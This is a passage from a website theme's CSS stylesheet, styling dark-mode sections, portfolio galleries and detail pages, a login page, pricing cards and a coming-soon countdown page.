input[type="password"], .body-dark .contact-section .default-form .form-group input[type="tel"], .body-dark .contact-section .default-form .form-group input[type="url"], .body-dark .contact-section .default-form .form-group input[type="file"], .body-dark .contact-section .default-form .form-group input[type="number"], .body-dark .contact-section .default-form .form-group textarea, .body-dark .get-quote-three .default-form .form-group input[type="text"], .body-dark .get-quote-three .default-form .form-group input[type="email"], .body-dark .get-quote-three .default-form .form-group input[type="password"], .body-dark .get-quote-three .default-form .form-group input[type="tel"], .body-dark .get-quote-three .default-form .form-group input[type="url"], .body-dark .get-quote-three .default-form .form-group input[type="file"], .body-dark .get-quote-three .default-form .form-group input[type="number"], .body-dark .comment-form.default-form .form-group input[type="text"], .body-dark .comment-form.default-form .form-group input[type="email"], .body-dark .comment-form.default-form .form-group input[type="password"], .body-dark .comment-form.default-form .form-group input[type="tel"], .body-dark .comment-form.default-form .form-group input[type="url"], .body-dark .comment-form.default-form .form-group input[type="file"], .body-dark .comment-form.default-form .form-group input[type="number"], .body-dark .comment-form.default-form .form-group textarea, .body-dark .error-form .form-group input[type="text"], .body-dark .error-form .form-group input[type="search"], .body-dark .error-form .form-group input[type="email"], .body-dark .get-quote-three .default-form .form-group textarea { background-color: #222429; border-color: #222429; } .body-dark .why-us-section .feature:hover .inner-box::before, .body-dark .service-block-two .inner-box, .body-dark .work-tabs .tab-buttons, .body-dark .get-quote-section .form-box, .body-dark .sidebar .sidebar-widget .widget-inner, .body-dark .news-block-three .inner-box, .body-dark .contact-section .info-block .inner-box, .body-dark .about-section::before { background-color: #222429; } .body-dark .project-tab .product-tab-btns .p-tab-btn.active-btn, .body-dark .sec-title h2, .body-dark .get-quote-section .counter .count-box, .body-dark .get-quote-section .featured-block h4, .body-dark .testi-block .info .name, .body-dark .we-do-section .progress-box .bar-title, .body-dark .accordion-box .block .acc-btn, .body-dark .we-do-section .sec-title h2, .body-dark .gallery-section .sec-title h2, .body-dark .news-section .sec-title h2, .body-dark .trusted-section .sec-title h2, .body-dark .trusted-section .feature h5, .body-dark .gallery-section .mixitup-gallery .filters .filter.active, .body-dark .live-section .sec-title h2, .body-dark .agency-section .sec-title h2, .body-dark .service-block-two .inner-box h5, .body-dark .team-section .sec-title h2, .body-dark .search-popup__form input, .body-dark .why-us-section .feature h6, .body-dark .featured-section .feature h6, .body-dark .get-quote-section .form-box h4, .body-dark .features-section-two .feature h5, .body-dark .work-tabs .tab-buttons .tab-btn, .body-dark .counter-block h4, .body-dark .contact-section .info-block .inner-box h5, .body-dark .counter-block .graph-outer .count-box, .body-dark .sidebar-title h4, .body-dark .call-to-section-two h2, .body-dark .error-section h2, .body-dark .service-details h3, .body-dark .service-details h4, .body-dark .project-single h5, .body-dark .post-details .lower-box h4, .body-dark .post-details .info-row strong, .body-dark .news-block-three .inner-box h4 a, .body-dark .post-control .control a, .body-dark .sidebar .recent-posts .text:hover a, .body-dark .sidebar .archives ul li:hover a, .body-dark .sidebar .popular-tags .tags-list a:hover, .body-dark .sidebar .archives ul li.active a, .body-dark .news-block-two .lower-box h4 a, .body-dark .news-block-two .lower-box .link-box a, .body-dark .comments-title h3, .body-dark .comments-area .comment-box .info .name, .body-dark .about-section .sec-title h2 { color: #ffffff; } .body-dark, .body-dark .contact-section .info-block .inner-box .text, .body-dark .default-form .form-group input[type="text"], .body-dark .default-form .form-group input[type="email"], .body-dark .default-form .form-group input[type="password"], .body-dark .default-form .form-group input[type="tel"], .body-dark .default-form .form-group input[type="url"], .body-dark .default-form .form-group input[type="file"], .body-dark .default-form .form-group input[type="number"], .body-dark .default-form .form-group textarea, .body-dark .default-form .form-group select, .body-dark .form-group .ui-button .ui-icon, .body-dark .get-quote-two .form-box form .form-group input, .body-dark .get-quote-two .form-box form .form-group select, .body-dark .get-quote-two .form-box form .form-group textarea, .body-dark .get-quote-two .form-group .ui-selectmenu-button.ui-button, .body-dark .form-group .ui-selectmenu-button.ui-button, .body-dark .get-quote-section .featured-block .text, .body-dark .why-us-section .feature .text, .body-dark .project-tab .product-tab-btns .p-tab-btn, .body-dark .featured-section .feature .text, .body-dark .sec-title .lower-text, .body-dark .trusted-section .feature .sub-text, .body-dark .gallery-section .mixitup-gallery .filters li, .body-dark .accordion-box .block .content .text, .body-dark .we-do-section .featured-block .text, .body-dark .trusted-section .sec-title .lower-text, .body-dark .team-section .team-block .lower-box .designation, .body-dark .trusted-section .featured-block-two .text ul li, .body-dark .agency-section .right-col .text, .body-dark .agency-section .featured-block-two .text ul li, .body-dark .news-section .news-block .lower-box .text, .body-dark .news-section .news-block .post-meta ul li, .body-dark .agency-section .default-tabs .tabs-content .text, .body-dark .service-block-two .text, .body-dark .sidebar .recent-posts .text, .body-dark .testi-block .text, .body-dark .comments-area .comment-box .text, .body-dark .features-section-two .feature .sub-text, .body-dark .sidebar .popular-tags .tags-list a, .body-dark .about-section .text-column .text p { color: #999b9f; } .body-dark .about-section .text-column .text .since .txt { background-color: #ffffff; color: #222429; } .body-dark .about-section .text-column .text .since::before { background-color: #fff; opacity: 0.1; } .body-dark .service-block-two .inner-box { overflow: hidden; } .body-dark .service-block-two .inner-box h5 a { color: inherit; } .body-dark .work-tabs .tab-buttons .tab-btn::before, .body-dark .testi-block:hover .inner { background-color: var(--thm-base); } .body-dark .testi-block:hover .info .name, .body-dark .work-tabs .tab-buttons .tab-btn.active-btn, .body-dark .testi-block:hover .text { color: var(--thm-black); } .body-dark .news-block-two .lower-box .link-box:hover a::before { border-color: #fff; } /* live section dark */ .body-dark .live-section { border-color: rgba(255, 255, 255, 0.1); background-color: #1c1e22; } /* we do section dark */ .body-dark .featured-section, .body-dark .call-to-section-two, .body-dark .news-section.alt-bg, .body-dark .testimonials-section, .body-dark .gallery-section-two.alternate, .body-dark .features-section-two .content-container::before, .body-dark .faqs-section, .body-dark .we-do-section { background-color: #222429; background-image: url(../images/background/we-do-section-bg-dark.jpg); } .body-dark .we-do-section .progress-box .bar { background-color: rgba(255, 255, 255, 0.1); } /* accordion box dark */ .body-dark .accordion-box .block.active-block, .body-dark .accordion-box .block { background-color: #1c1e22; box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.05); } .body-dark .accordion-box .block .acc-btn.active { background-color: #1c1e22; } /* gallery section dark */ .body-dark .gallery-section { background-color: #1c1e22; } /* trusted section */ .body-dark .trusted-section .right-col .inner, .body-dark .trusted-section .right-col .inner::before { background-color: #1c1e22; } .body-dark .trusted-section .feature:hover .count { background-color: #fff; color: #222429; } .body-dark .get-quote-section, .body-dark .features-section-two .feature, .body-dark .get-quote-section .counter, .body-dark .post-control .inner, .body-dark .comments-area .comment-box, .body-dark .post-details .info-row, .body-dark .sponsors-section-two, .body-dark .trusted-section .feature { border-color: rgba(255, 255, 255, 0.1); } /* team section dark */ .body-dark .news-section .news-block .lower-box h5, .body-dark .team-section .team-block .lower-box h5 { color: #fff; } .body-dark .news-section .news-block .lower-box h5 a, .body-dark .team-section .team-block .lower-box h5 a { color: inherit; } .body-dark .team-section .owl-theme .owl-dots .owl-dot span { opacity: 0.1; } .body-dark .team-section .owl-theme .owl-dots .owl-dot:hover span, .body-dark .team-section .owl-theme .owl-dots .owl-dot.active span { background-color: transparent; opacity: 1; } /* sponsors section */ .body-dark .sponsors-section { background-color: #1c1e22; } /* agency section dark */ .body-dark .agency-section { background-color: #222429; background-image: url(../images/background/we-do-section-bg-dark.jpg); } .body-dark .agency-section .default-tabs .tab-buttons .tab-btn span { color: #fff; } .body-dark .agency-section .default-tabs .tab-buttons .tab-btn.active-btn span { color: #222429; } /* news section dark */ .body-dark .news-section .news-block .post-meta ul { box-shadow: 0px 20px 20px 0px rgba(0, 0, 0, 0.03); background-color: #1c1e22; } .body-dark .news-section .news-block .lower-box .link-box a { background-color: rgba(255, 255, 255, 0.1); color: #222429; } .body-dark .news-section .news-block .lower-box .link-box a:hover { background-color: var(--thm-base); } /* portfolio masonary */ .portfolio-masonary { padding-bottom: 100px; } @media (min-width: 1200px) { .portfolio-masonary .auto-container { max-width: 1200px; } } .portfolio-masonary h3 { margin: 0; font-size: 80px; font-weight: 300; color: #fff; line-height: 1; letter-spacing: 0.1em; text-transform: uppercase; max-width: 810px; margin-left: auto; margin-right: auto; text-align: center; margin-top: 210px; } .portfolio-masonary hr { border-color: rgba(255, 255, 255, 0.1); margin: 0; margin-bottom: 60px; margin-top: 120px; } .portfolio-masonary__filter-wrapper { display: flex; align-items: center; justify-content: space-between; margin-bottom: 50px; } .portfolio-masonary .filters { margin-bottom: 0; } .portfolio-masonary .filters li { color: #ffffff; font-size: 20px; } .portfolio-masonary .mixitup-gallery .filters .filter.active { color: #fff; } .portfolio-masonary .filters li:first-child { margin-left: 0; } .portfolio-masonary .masonary-layout { margin-bottom: 30px; } .portfolio-masonary__box { margin-bottom: 30px; overflow: hidden; border-radius: 8px; position: relative; } .portfolio-masonary__box__new { position: absolute; top: 0px; right: 0px; background-color: var(--thm-base); border-radius: 8px; font-family: var(--thm-font); text-transform: uppercase; display: flex; z-index: 10; color: var(--thm-black); letter-spacing: 0.1em; line-height: 1; padding: 9px 13px 8px; font-size: 20px; border-top-left-radius: 0; border-bottom-right-radius: 0; transition: all 500ms ease; } .portfolio-masonary__box-outer:hover .portfolio-masonary__box__new { background-color: var(--thm-black); color: #fff; } .portfolio-masonary__box img { width: 100%; -webkit-filter: grayscale(100%); filter: grayscale(100%); transition: 500ms ease; } .portfolio-masonary__box:hover img { -webkit-filter: grayscale(0); filter: grayscale(0); } .portfolio-masonary__more { text-transform: uppercase; font-size: 18px; color: #fff; transition: all 500ms ease; font-weight: 500; font-family: var(--thm-font); } .portfolio-masonary__more:hover { color: var(--thm-base); } .portfolio-masonary__box-content { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(var(--thm-base-rgb), 0.9); display: flex; justify-content: flex-end; align-items: flex-start; flex-direction: column; padding: 60px; transform: translateY(30%); opacity: 0; transition: transform 500ms ease, opacity 500ms ease; } .portfolio-masonary__box:hover .portfolio-masonary__box-content { opacity: 1; transform: translateY(0); } .portfolio-masonary__box-content p { margin: 0; color: var(--thm-black); line-height: 1; text-transform: uppercase; display: flex; align-items: center; margin-bottom: 10px; font-family: var(--thm-font); } .portfolio-masonary__box-content p::after { width: 40px; height: 2px; background-color: var(--thm-black); margin-left: 10px; content: ""; } .portfolio-masonary__box-content h4 { margin: 0; text-transform: uppercase; color: var(--thm-black); line-height: 1; font-size: 30px; letter-spacing: 0.1em; } .portfolio-masonary__box-content h4 a { color: inherit; } /* portfolio details header */ .portfolio-details-header { margin-top: 106px; background-color: #fff; padding-top: 90px; padding-bottom: 90px; position: relative; } .portfolio-details-header::before { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 545px; background-color: #f4f5f8; } @media (min-width: 1200px) { .portfolio-details-header { padding-top: 120px; padding-bottom: 120px; } } .portfolio-details-header__separator { border-width: 1px; border-color: #e9ebee; min-width: 1600px; float: left; margin-top: 90px; margin-bottom: 0; } @media (min-width: 1200px) { .portfolio-details-header__separator { margin-top: 120px; } } .portfolio-details-header__title { margin: 0; text-transform: uppercase; font-size: 50px; color: var(--thm-black); margin-bottom: 40px; } .portfolio-details-header__image { display: inline-block; background-color: #222429; border-radius: 8px; margin-bottom: 45px; } .portfolio-details-header__image img { max-width: 100%; border-radius: 8px; display: block; mix-blend-mode: luminosity; } @media (min-width: 1200px) { .portfolio-details-header__image img { max-width: none; } } .portfolio-details-header__sub-heading { margin: 0; text-transform: uppercase; font-size: 24px; color: var(--thm-black); line-height: 1; margin-bottom: 10px; } .portfolio-details-header__text { margin: 0; color: var(--thm-text); font-size: 16px; } .portfolio-details-header__list { margin: 0; margin-bottom: 45px; } .portfolio-details-header__list li { font-size: 16px; color: var(--thm-text); } .portfolio-details-header__main-text { margin: 0; font-size: 20px; list-style: none; font-weight: 300; line-height: 42px; margin-bottom: 40px; } @media (min-width: 1200px) { .portfolio-details-header__main-text { margin-bottom: 0; } } .portfolio-details-header__text+.portfolio-details-header__sub-heading { margin-top: 40px; } @media (min-width: 1200px) { .portfolio-details-header__main-text { padding-left: 100px; } } .portfolio-details-header__link { color: var(--thm-base); font-size: 16px; position: relative; display: inline-block; line-height: 1; padding-bottom: 10px; transition: all 500ms ease; margin-bottom: 50px; } @media (min-width: 1200px) { .portfolio-details-header__link { margin-bottom: 0; } } .portfolio-details-header__link:hover { color: var(--thm-black); } .portfolio-details-header__link::after { content: ""; width: 100%; height: 2px; background-color: var(--thm-base); position: absolute; bottom: 0; left: 0; transition: all 500ms ease; } .portfolio-details-header__link:hover::after { background-color: var(--thm-black); } .portfolio-details-header__links a { color: var(--thm-text); font-size: 16px; transition: all 500ms ease; } .portfolio-details-header__links a:hover { color: var(--thm-base); } .portfolio-details-header__links a:not(:last-child)::after { content: ","; } /* portfolio details info */ .portfolio-details-info__image { display: inline-block; background-color: var(--thm-black); overflow: hidden; border-radius: 8px; margin-bottom: 30px; } .portfolio-details-info__image img { mix-blend-mode: luminosity; border-radius: 8px; max-width: 100%; } @media (min-width: 768px) { .portfolio-details-info__image { margin-bottom: 0; display: block; } .portfolio-details-info .row { margin-bottom: 40px; } } @media (min-width: 1200px) { .portfolio-details-info .row { margin-bottom: 60px; } } .portfolio-details-info__title { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 40px; } .portfolio-details-info__text { margin: 0; color: var(--thm-text); font-size: 16px; line-height: 34px; margin-bottom: 30px; max-width: 470px; } @media (min-width: 768px) { .portfolio-details-info__text { margin-bottom: 0; } } @media (min-width: 1200px) { .portfolio-details-info__title { font-size: 50px; margin-bottom: 35px; } } /* protfolio details video */ .portfolio-details-video { margin-top: 90px; margin-bottom: 60px; } @media (min-width: 1200px) { .portfolio-details-video { margin-top: 120px; } } .portfolio-details-video__thumbnail { background-color: var(--thm-black); overflow: hidden; border-radius: 8px; position: relative; } .portfolio-details-video img { mix-blend-mode: luminosity; max-width: 100%; } .portfolio-details-video .vid-link { position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .portfolio-details-video .vid-link .icon { position: relative; display: block; width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: var(--thm-black); background: var(--thm-base); border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .portfolio-details-video .vid-link a:hover .icon { background: #ffffff; color: var(--thm-base); } .portfolio-details-video .vid-link .icon:before { content: ""; position: absolute; left: -8px; top: -8px; right: -8px; bottom: -8px; border: 1px solid rgba(255, 255, 255, 0.3); border-radius: 50%; } .portfolio-details-video .vid-link .ripple, .portfolio-details-video .vid-link .ripple:before, .portfolio-details-video .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 100px; height: 100px; border-radius: 50%; -ms-border-radius: 50%; transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -o-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .portfolio-details-video .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .portfolio-details-video .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } .portfolio-details-summery { padding-bottom: 50px; } @media (min-width: 1200px) { .portfolio-details-summery { padding-bottom: 80px; } } .portfolio-details-summery__heading { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 30px; line-height: 1; padding-left: 20px; padding-right: 20px; margin-bottom: 20px; } @media (min-width: 1200px) { .portfolio-details-summery__heading { padding-left: 100px; padding-right: 100px; } } .portfolio-details-summery__text { margin: 0; padding-left: 20px; padding-right: 20px; margin-bottom: 30px; } @media (min-width: 1200px) { .portfolio-details-summery__text { padding-left: 100px; padding-right: 100px; } } /* portfolio horizontal */ .portfolio-horizontal { min-height: 100vh; position: relative; display: flex; justify-content: center; align-items: center; padding-top: 90px; padding-bottom: 90px; } [class*="portfolio-horizontal__shape-"] { position: absolute; display: none; -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-fill-mode: both; animation-fill-mode: both; -webkit-animation-name: banner3Shake; animation-name: banner3Shake; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-animation-duration: 5s; animation-duration: 5s; -webkit-animation-delay: 1s; animation-delay: 1s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } @media (min-width: 992px) { [class*="portfolio-horizontal__shape-"] { display: block; } } @keyframes banner3Shake { 0% { -webkit-transform: rotate3d(0, 1, 0, 0deg); transform: rotate3d(0, 1, 0, 0deg); } 30% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 60% { -webkit-transform: rotate3d(1, 0, 0, 0deg); transform: rotate3d(1, 0, 0, 0deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 100% { -webkit-transform: rotate3d(0, 1, 0, 0deg); transform: rotate3d(0, 1, 0, 0deg); } } .portfolio-horizontal__shape-1 { top: -120px; right: 40%; } .portfolio-horizontal__shape-2 { left: -55px; bottom: -36px; } .portfolio-horizontal__shape-3 { right: -260px; bottom: -30px; } @media (min-width: 992px) { .portfolio-horizontal { padding-top: 120px; padding-bottom: 110px; } } .portfolio-horizontal .auto-container { max-width: 100%; padding-left: 30px; padding-right: 30px; } @media (min-width: 992px) { .portfolio-horizontal .auto-container { padding-left: 60px; padding-right: 60px; } } @media (min-width: 1200px) { .portfolio-horizontal .auto-container { padding-left: 100px; padding-right: 100px; } } @media (min-width: 1440px) { .portfolio-horizontal .auto-container { padding-left: 155px; padding-right: 155px; } } .portfolio-horizontal__card__title { margin: 0; color: #fff; font-weight: 800; font-family: "Montserrat", "Rubik"; font-size: 30px; } .portfolio-horizontal__card__title a { color: inherit; transition: all 500ms ease; } .portfolio-horizontal__card__title a:hover { color: var(--thm-black); } .portfolio-horizontal__category { margin: 0; display: block; line-height: 1; font-weight: 600; font-size: 14px; font-family: "Montserrat", "Rubik"; color: #fff; margin-bottom: 15px; margin-top: 30px; } .portfolio-horizontal__carousel .owl-nav { display: flex; justify-content: center; align-items: center; margin-top: 50px; } .portfolio-horizontal__carousel .owl-nav .icon { width: 41px; height: 59px; background-image: url(../images/update-26-02-2021/shapes/portfolio-horizontal-arrow.png); background-repeat: no-repeat; background-position: center center; display: block; opacity: 0.2; transition: all 500ms ease; } @media (min-width: 1200px) { .portfolio-horizontal__carousel .owl-nav [class*="owl-"] { position: absolute; top: 50%; transform: translateY(-50%); } .portfolio-horizontal__carousel .owl-nav [class*="owl-prev"] { right: calc(100% + 55px); } .portfolio-horizontal__carousel .owl-nav [class*="owl-next"] { left: calc(100% + 25px); } } .portfolio-horizontal__carousel .owl-nav .icon:hover { opacity: 1; } .portfolio-horizontal__carousel .owl-nav .icon.nav-button-right { transform: rotate(180deg); margin-left: 30px; } .portfolio-horizontal-two { padding-left: 30px; padding-right: 30px; padding-top: 80px; padding-bottom: 80px; } @media (min-width: 992px) { .portfolio-horizontal-two { padding-top: 150px; padding-bottom: 150px; margin-left: 100px; } } @media (min-width: 1200px) { .portfolio-horizontal-two { /* display: flex; justify-content: center; align-items: center; position: absolute; top: 0; left: 100px; */ padding-top: 200px; padding-bottom: 200px; height: 100vh; width: calc(100vw - 100px); padding-left: 70px; padding-right: 70px; } } .portfolio-horizontal-two__image { background-color: var(--thm-black); } .portfolio-horizontal-two__image img { width: 100%; transition: all 500ms ease; } .portfolio-horizontal-two__item:hover .portfolio-horizontal-two__image img { opacity: 0.8; } .portfolio-horizontal-two__category { margin: 0; text-transform: uppercase; font-size: 14px; letter-spacing: 0.1em; color: var(--thm-text); font-weight: 400; line-height: 1; display: block; margin-top: 20px; margin-bottom: 12px; } .portfolio-horizontal-two__title { margin: 0; text-transform: uppercase; font-size: 30px; color: var(--thm-black); font-weight: 400; line-height: 1; display: block; } .portfolio-horizontal-two__title a { color: inherit; transition: all 500ms ease; } .portfolio-horizontal-two__title a:hover { color: var(--thm-base); } .portfolio-horizontal-two__controls { display: flex; align-items: center; justify-content: center; margin-top: 20px; } @media (min-width: 992px) { .portfolio-horizontal-two__controls { justify-content: flex-end; } } @media (min-width: 1200px) { .portfolio-horizontal-two__controls { position: absolute; bottom: 100px; right: 70px; } } .portfolio-horizontal-two__carousel__progress { display: flex; align-items: center; margin-right: 20px; } .portfolio-horizontal-two__carousel__progress li span { display: block; width: 30px; height: 1px; background-color: #e3e3e3; transition: all 500ms ease; cursor: pointer; } @media (min-width: 1200px) { .portfolio-horizontal-two__carousel__progress li span { width: 55px; } } .portfolio-horizontal-two__carousel__progress li.active span { background-color: var(--thm-black); } .portfolio-horizontal-two__carousel__count { text-transform: uppercase; margin: 0; color: var(--thm-text); font-size: 16px; letter-spacing: 0.2em; } /* demo landing page */ .demo-purchase-btn .btn-title { padding-top: 21.5px; padding-bottom: 17.5px; } .demo-purchase-btn:hover .btn-title { color: var(--thm-black); } .demo-purchase-btn:hover .btn-curve { background-color: #fff; } .demo-top { padding-top: 265px; padding-bottom: 170px; background-color: #1c1e22; background-image: url(../images/background/home-portfolio-bg-1-1.png); } .demo-top .auto-container { text-align: center; } .demo-top h3 { margin: 0; color: #fff; font-size: 110px; text-transform: uppercase; line-height: 1; font-weight: 600; } .demo-top h3 span { color: var(--thm-base); } .demo-top p { font-size: 26px; line-height: 1.7em; margin: 0; margin-top: 30px; font-weight: 400; color: rgba(255, 255, 255, 0.6); max-width: 590px; margin-left: auto; margin-right: auto; font-family: var(--thm-b-font); text-align: center; } /* demo gallery */ .demo-gallery { padding-top: 120px; padding-bottom: 100px; } .demo-gallery .mixitup-gallery .filters .filter { color: #686a6f; font-size: 24px; } .demo-gallery .mixitup-gallery .filters .filter+.filter { margin-left: 40px; } .demo-gallery .mixitup-gallery .filters .filter.active { color: var(--thm-black); } .demo-gallery .portfolio-masonary__box-outer { transform: translateY(0); transition: transform 500ms ease; border-radius: 8px; box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); } .demo-gallery .portfolio-masonary__box-outer:hover { transform: translateY(-20px); } .demo-gallery .portfolio-masonary__box img { filter: grayscale(0); } .demo-gallery .portfolio-masonary__box .link { position: absolute; top: 60px; right: 60px; width: 55px; height: 55px; border-radius: 50%; font-size: 18px; color: var(--thm-black); border: 1px solid var(--thm-black); display: flex; align-items: center; justify-content: center; text-align: center; transition: all 500ms ease; } .demo-gallery .portfolio-masonary__box .link:hover { background-color: #fff; border-color: #fff; } .demo-features { background-color: #f4f5f8; padding-top: 120px; padding-bottom: 120px; } .demo-features__wrapper { display: grid; grid-template-columns: repeat(7, 1fr); grid-row-gap: 30px; } .demo-features__box { text-align: center; } .demo-features__box img { border-radius: 8px; display: block; margin-left: auto; margin-right: auto; box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); } .demo-features__box h4 { margin: 0; text-transform: uppercase; font-size: 20px; color: var(--thm-black); letter-spacing: 0.1em; margin-top: 20px; text-align: center; } /* demo footer */ .main-footer__demo .footer-widget h3 { max-width: none; font-size: 80px; letter-spacing: 0; margin: 0; } .main-footer__demo .footer-widget p { margin: 0; font-size: 36px; letter-spacing: 0.1em; text-transform: uppercase; font-weight: 300; font-family: var(--thm-font); margin-bottom: 45px; } .main-footer__demo .footer-widget { padding-bottom: 110px; } /* login page */ .login-wrapper { position: relative; min-height: 100vh; } .login-wrapper .login-bg { position: absolute; right: 0; bottom: 0; width: calc(100% - 630px); height: 100vw; background-repeat: no-repeat; background-size: cover; background-position: center right; } .login-wrapper .login-content__inner { width: 100%; max-width: 630px; padding-left: 115px; padding-right: 115px; background-color: #fff; box-shadow: 9.986px -0.523px 30px 0px rgba(5, 5, 6, 0.1); min-height: 100vh; display: flex; flex-direction: column; position: relative; z-index: 10; } .login-wrapper form input[type="text"], .login-wrapper form input[type="email"], .login-wrapper form input[type="password"] { width: 100%; border-radius: 8px; background-color: #f4f5f8; height: 70px; padding-left: 30px; padding-right: 30px; font-size: 14px; color: #686a6f; font-weight: 400; font-family: var(--thm-b-font); margin-bottom: 20px; } .login-wrapper form ::placeholder { opacity: 1; color: inherit; } .login-wrapper form p { margin: 0; color: #686a6f; line-height: 2.125; } .login-wrapper form p a { color: inherit; } .login-wrapper form .theme-btn { width: 100%; font-size: 18px; letter-spacing: 0.1em; font-weight: 400; margin-top: 15px; } .login-wrapper .login-content__inner .copyright-text { margin-top: auto; text-align: center; color: #686a6f; margin-bottom: 60px; } .login-wrapper .logo { margin-top: 90px; margin-bottom: 140px; } .login-wrapper .signup-link { text-transform: uppercase; color: #000000; font-weight: 400; letter-spacing: 0.1em; font-size: 20px; text-align: center; line-height: 1; margin-top: 35px; font-family: var(--thm-font); } .login-wrapper .signup-link a { color: var(--thm-base); transition: all 500ms ease; } .login-wrapper .signup-link a:hover { opacity: 0.7; } /*-------------------------------------------------------------- # Pricing --------------------------------------------------------------*/ .pricing-one { padding-top: 100px; padding-bottom: 70px; } @media (min-width: 992px) { .pricing-one { padding-top: 120px; padding-bottom: 90px; } } .pricing-one [class*="col-"] { margin-bottom: 30px; } /* price card */ .pricing-card { background-color: #f4f5f8; text-align: center; padding-left: 20px; padding-right: 20px; padding-bottom: 20px; padding-top: 50px; border-radius: 8px; } .pricing-card__bottom { border-radius: 8px; background-color: #fff; padding-top: 40px; padding-bottom: 40px; box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .pricing-card__list { text-align: left; width: 200px; margin-left: auto; margin-right: auto; margin-bottom: 43px; } .pricing-card__list li { position: relative; font-size: 16px; color: var(--thm-text); padding-left: 40px; } .pricing-card__list li+li { margin-top: 5px; } .pricing-card__list li i { position: absolute; top: 50%; left: 0; transform: translateY(-50%); font-size: 20px; color: var(--thm-base); } .pricing-card__list li i.unavailable { color: var(--thm-black); } .pricing-card__icon { width: 100px; height: 100px; display: flex; justify-content: center; align-items: center; text-align: center; margin-left: auto; margin-right: auto; position: relative; margin-bottom: 30px; } .pricing-card__icon::before { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: var(--thm-base); opacity: 0.2; border-radius: 50%; content: ""; transition: all 500ms ease; } .pricing-card:hover .pricing-card__icon::before { opacity: 1; } @media (min-width: 992px) { .pricing-card__icon { width: 130px; height: 130px; } } .pricing-card__icon i { font-size: 50px; position: relative; color: var(--thm-base); transition: all 500ms ease; } .pricing-card:hover .pricing-card__icon i { color: var(--thm-black); } @media (min-width: 992px) { .pricing-card__icon i { font-size: 64px; } } .pricing-card__name { line-height: 1; margin: 0; font-size: 20px; text-transform: uppercase; font-family: var(--thm-font); letter-spacing: 0.1em; color: var(--thm-base); margin-bottom: 2px; } .pricing-card__amount { margin: 0; line-height: 1; font-size: 45px; margin-bottom: 20px; } @media (min-width: 992px) { .pricing-card__amount { font-size: 60px; } } /*-------------------------------------------------------------- # Coming Soon --------------------------------------------------------------*/ .coming-soon { background-color: var(--thm-black); background-repeat: no-repeat; background-size: cover; min-height: 100vh; padding-top: 60px; padding-bottom: 60px; display: flex; align-items: center; justify-content: center; } .coming-soon .auto-container { width: 100%; } .coming-soon__title { margin: 0; color: #fff; font-size: 45px; text-transform: uppercase; font-weight: 300; margin-top: 40px; margin-bottom: 20px; } @media (min-width: 992px) { .coming-soon__title { font-size: 60px; margin-top: 90px; margin-bottom: 30px; } } .coming-soon__form-text, .coming-soon__text { margin: 0; color: #999b9f; max-width: 570px; } .coming-soon__form-title { text-transform: uppercase; margin: 0; color: #fff; font-size: 24px; font-weight: 500; margin-bottom: 10px; } .coming-soon__form { max-width: 400px; width: 100%; border-radius: 8px; position: relative; margin-top: 20px; margin-bottom: 50px; } @media (min-width: 992px) { .coming-soon__form { margin-bottom: 35px; } } .coming-soon__form input[type="text"], .coming-soon__form input[type="email"] { width: 100%; height: 70px; background-color: #1c1e22; font-size: 14px; font-family: var(--thm-b-font); color: #999b9f; border-radius: 8px; padding-left: 30px; transition: all 500ms ease; } .coming-soon__form input[type="text"]:focus, .coming-soon__form input[type="email"]:focus { box-shadow: 0 0 0 1px var(--thm-base); } .coming-soon__form ::placeholder { opacity: 1; color: inherit; } .coming-soon__form button[type="submit"] { width: 42px; height: 42px; background-color: var(--thm-base); color: var(--thm-black); font-size: 14px; display: flex; justify-content: center; align-items: center; text-align: center; position: absolute; top: 50%; transform: translateY(-50%); right: 15px; border-radius: 50%; transition: all 500ms ease; } .coming-soon__form button[type="submit"]:hover { background-color: #fff; color: var(--thm-black); } .coming-soon__social { display: flex; align-items: center; } .coming-soon__social li+li { margin-left: 10px; } .coming-soon__social a { width: 44px; height: 44px; background-color: #1c1e22; color: #999b9f; display: flex; justify-content: center; align-items: center; text-align: center; border-radius: 50%; font-size: 16px; transition: all 500ms ease; } .coming-soon__social a:hover { background-color: var(--thm-base); color: var(--thm-black); } .coming-soon__countdown { display: grid; grid-template-columns: repeat(2, 1fr); grid-gap: 20px; width: 100%; max-width: 580px; margin-top: 30px; margin-bottom: 35px; } @media (min-width: 992px) { .coming-soon__countdown { margin-top: 50px; margin-bottom: 45px; grid-template-columns: repeat(4, 1fr); } } .coming-soon__countdown li { border: 1px solid var(--thm-base); border-radius: 8px; text-align: center; font-family: var(--thm-font); overflow: hidden; } .coming-soon__countdown li span { font-size: 45px; display: block; color: #fff; padding-top: 50px; } @media (min-width: 